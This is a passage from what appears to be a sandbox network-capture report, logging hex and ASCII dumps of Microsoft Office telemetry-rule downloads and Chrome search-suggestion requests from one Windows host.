0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:28 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221228Z-178bfbc474bh5zbqhC1NYCkdug00000000dg0000000007cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:28 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:29 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221228Z-178bfbc474bgvl54hC1NYCsfuw00000000g000000000cp11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221230Z-178bfbc474bmqmgjhC1NYCy16c00000000ng00000000na7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221230Z-178bfbc474bpnd5vhC1NYC4vr400000000m000000000da2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221231Z-178bfbc474bpnd5vhC1NYC4vr400000000fg00000000bphe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221231Z-1777c6cb754j8gqphC1TEB5bf80000000a4g00000000c3kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221231Z-178bfbc474b7cbwqhC1NYC8z4n00000000b0000000000a95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49733	172.217.21.36	443	7468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:32 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIkMrNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 22:12:33 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:33 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-5PMmwb6SDCSnjr6heB7Sqg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 22:12:33 UTC	124	IN	Data Raw: 62 36 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 65 67 61 20 6d 69 6c 6c 69 6f 6e 73 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 2c 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 32 30 32 34 22 2c 22 6e 69 65 72 20 61 75 74 6f 6d 61 74 61 20 64 6c 63 20 73 74 65 6c 6c 61 72 20 62 6c 61 64 65 22 2c 22 73 6e 6f 77 20 66 6f 72 65 63 61 Data Ascii: b6b)]}'["",["mega millions jackpot lottery numbers","spotify wrapped 2024","nier automata dlc stellar blade","snow foreca
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 73 74 20 70 65 6e 6e 73 79 6c 76 61 6e 69 61 22 2c 22 64 69 73 6e 65 79 6c 61 6e 64 20 73 6f 63 69 61 6c 20 63 6c 75 62 73 22 2c 22 73 74 61 72 66 69 65 6c 64 20 75 70 64 61 74 65 73 22 2c 22 68 6f 75 73 74 6f 6e 20 61 73 74 72 6f 73 22 2c 22 6d 69 63 72 6f 73 74 72 61 74 65 67 79 20 73 74 6f 63 6b 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 Data Ascii: st pennsylvania","disneyland social clubs","starfield updates","houston astros","microstrategy stock"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugg
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 36 55 48 4e 4d 53 54 42 52 65 54 5a 70 56 6c 64 4f 52 7a 46 47 53 6e 52 4a 4e 56 56 46 52 56 41 32 4d 58 6f 30 61 31 4a 6a 55 6c 70 6e 61 30 63 79 55 46 46 75 54 44 4a 6e 59 6a 68 59 56 54 6c 6c 57 6b 31 6f 57 6a 4d 78 55 47 49 76 4d 6b 52 34 55 54 45 30 63 33 64 59 54 48 4e 42 4e 30 64 36 57 56 46 7a 62 46 59 33 57 6c 56 36 56 54 52 6d 55 44 5a 6a 64 48 41 7a 54 57 52 32 65 6d 63 30 4d 6e 64 4c 61 56 56 36 4d 6b 5a 4a 4c 33 46 45 54 55 4a 33 53 55 78 4e 51 6d 34 77 4d 54 52 72 54 54 63 33 55 79 38 77 4d 6b 68 73 54 79 38 72 55 6b 35 44 54 54 4a 73 57 45 52 76 4d 30 56 51 54 56 42 55 52 45 70 69 63 57 64 57 65 45 46 5a 64 56 6c 42 4e 44 52 6e 54 32 35 4f 65 57 46 68 61 47 68 30 4e 69 39 47 56 48 64 49 61 54 46 42 63 30 70 76 5a 32 51 72 62 6c 5a 31 64 30 Data Ascii: 6UHNMSTBReTZpVldORzFGSnRJNVVFRVA2MXo0a1JjUlpna0cyUFFuTDJnYjhYVTllWk1oWjMxUGIvMkR4UTE0c3dYTHNBN0d6WVFzbFY3WlV6VTRmUDZjdHAzTWR2emc0MndLaVV6MkZJL3FETUJ3SUxNQm4wMTRrTTc3Uy8wMkhsTy8rUk5DTTJsWERvM0VQTVBUREpicWdWeEFZdVlBNDRnT25OeWFhaGh0Ni9GVHdIaTFBc0pvZ2QrblZ1d0
2024-11-20 22:12:33 UTC	26	IN	Data Raw: 58 56 42 4e 55 4a 70 61 45 68 61 53 32 51 34 63 57 64 49 59 79 39 32 4d 0d 0a Data Ascii: XVBNUJpaEhaS2Q4cWdIYy92M
2024-11-20 22:12:33 UTC	90	IN	Data Raw: 35 34 0d 0a 6a 46 59 52 6d 39 43 4e 6d 59 77 4d 6c 46 50 59 53 74 45 57 55 38 30 56 55 74 4c 61 57 38 30 59 56 67 78 53 44 52 68 64 31 4a 56 4e 32 4e 69 64 31 56 42 4c 79 38 7a 4d 6a 6c 32 59 6b 52 6f 64 7a 6c 6d 55 33 64 43 61 6d 64 72 4d 6c 49 7a 64 6c 64 48 5a 0d 0a Data Ascii: 54jFYRm9CNmYwMlFPYStEWU80VUtLaW80YVgxSDRhd1JVN2Nid1VBLy8zMjl2YkRodzlmU3dCamdrMlIzdldHZ
2024-11-20 22:12:33 UTC	1390	IN	Data Raw: 37 39 35 0d 0a 30 35 59 65 48 42 6c 65 56 52 57 65 55 39 31 61 6b 31 4a 4e 6b 74 45 65 58 5a 7a 54 30 4d 72 4e 45 56 56 54 58 6c 6f 54 45 5a 78 59 6b 63 72 64 44 4e 6e 59 31 42 42 59 30 45 77 56 6e 70 59 65 44 45 34 51 6a 6c 4f 54 58 6b 78 52 54 68 42 53 48 4a 30 55 57 35 5a 5a 6b 70 31 52 47 6f 32 54 7a 4e 46 61 30 73 79 51 31 59 78 63 56 56 4d 56 44 52 4b 57 58 6c 77 61 55 78 69 5a 54 68 46 51 55 4e 4c 52 32 46 78 4d 30 68 52 59 6e 63 30 55 6e 5a 4e 61 48 64 48 5a 58 5a 4d 56 56 4e 6a 55 57 63 77 5a 32 4a 35 4b 30 38 34 55 30 74 53 4e 55 6c 6a 51 53 39 35 65 56 51 31 65 45 56 42 64 56 56 35 61 32 6b 78 55 33 56 51 62 7a 52 46 64 30 70 6a 51 32 39 4d 55 6d 64 59 54 6d 31 30 57 45 74 55 65 54 51 79 54 48 46 75 62 33 41 78 52 46 68 56 52 7a 42 51 65 48 4a Data Ascii: 79505YeHBleVRWeU91ak1JNktEeXZzT0MrNEVVTXloTEZxYkcrdDNnY1BBY0EwVnpYeDE4QjlOTXkxRThBSHJ0UW5ZZkp1RGo2TzNFa0syQ1YxcVVMVDRKWXlwaUxiZThFQUNLR2FxM0hRYnc0UnZNaHdHZXZMVVNjUWcwZ2J5K084U0tSNUljQS95eVQ1eEVBdVV5a2kxU3VQbzRFd0pjQ29MUmdYTm10WEtUeTQyTHFub3AxRFhVRzBQeHJ
2024-11-20 22:12:33 UTC	558	IN	Data Raw: 64 31 56 6a 52 30 53 69 39 45 4e 6a 4a 7a 52 6c 52 35 53 6c 42 53 54 6a 52 55 55 6d 51 76 65 6e 45 77 56 6d 56 4a 52 53 74 54 65 45 4e 7a 54 7a 4e 79 55 6d 5a 45 54 6e 70 7a 5a 6d 64 79 4b 32 64 59 57 57 74 5a 4c 7a 64 51 63 31 51 34 59 69 38 76 64 30 31 52 63 47 5a 42 55 30 6c 4a 64 6d 46 5a 64 30 46 42 51 55 46 43 53 6c 4a 56 4e 55 56 79 61 30 70 6e 5a 32 63 39 50 54 6f 4f 53 47 39 31 63 33 52 76 62 69 42 42 63 33 52 79 62 33 4e 4b 42 79 4d 77 4d 44 4d 31 4e 7a 56 53 4e 32 64 7a 58 33 4e 7a 63 44 31 6c 53 6e 70 71 4e 48 52 45 55 44 46 55 59 33 64 36 61 6c 68 4e 54 54 4a 45 4d 44 52 7a 64 6b 6c 4d 65 54 42 31 65 57 4d 35 56 46 4e 44 64 33 56 4c 59 32 39 32 51 6d 64 43 62 6a 4e 6e 61 57 6c 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a Data Ascii: d1VjR0Si9ENjJzRlR5SlBSTjRUUmQvenEwVmVJRStTeENzTzNyUmZETnpzZmdyK2dYWWtZLzdQc1Q4Yi8vd01RcGZBU0lJdmFZd0FBQUFCSlJVNUVya0pnZ2c9PToOSG91c3RvbiBBc3Ryb3NKByMwMDM1NzVSN2dzX3NzcD1lSnpqNHREUDFUY3d6alhNTTJEMDRzdklMeTB1eWM5VFNDd3VLY292QmdCbjNnaWlwBw\u003d\u003d","zl":
2024-11-20 22:12:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49730	172.217.21.36	443	7468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:32 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49732	172.217.21.36	443	7468	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
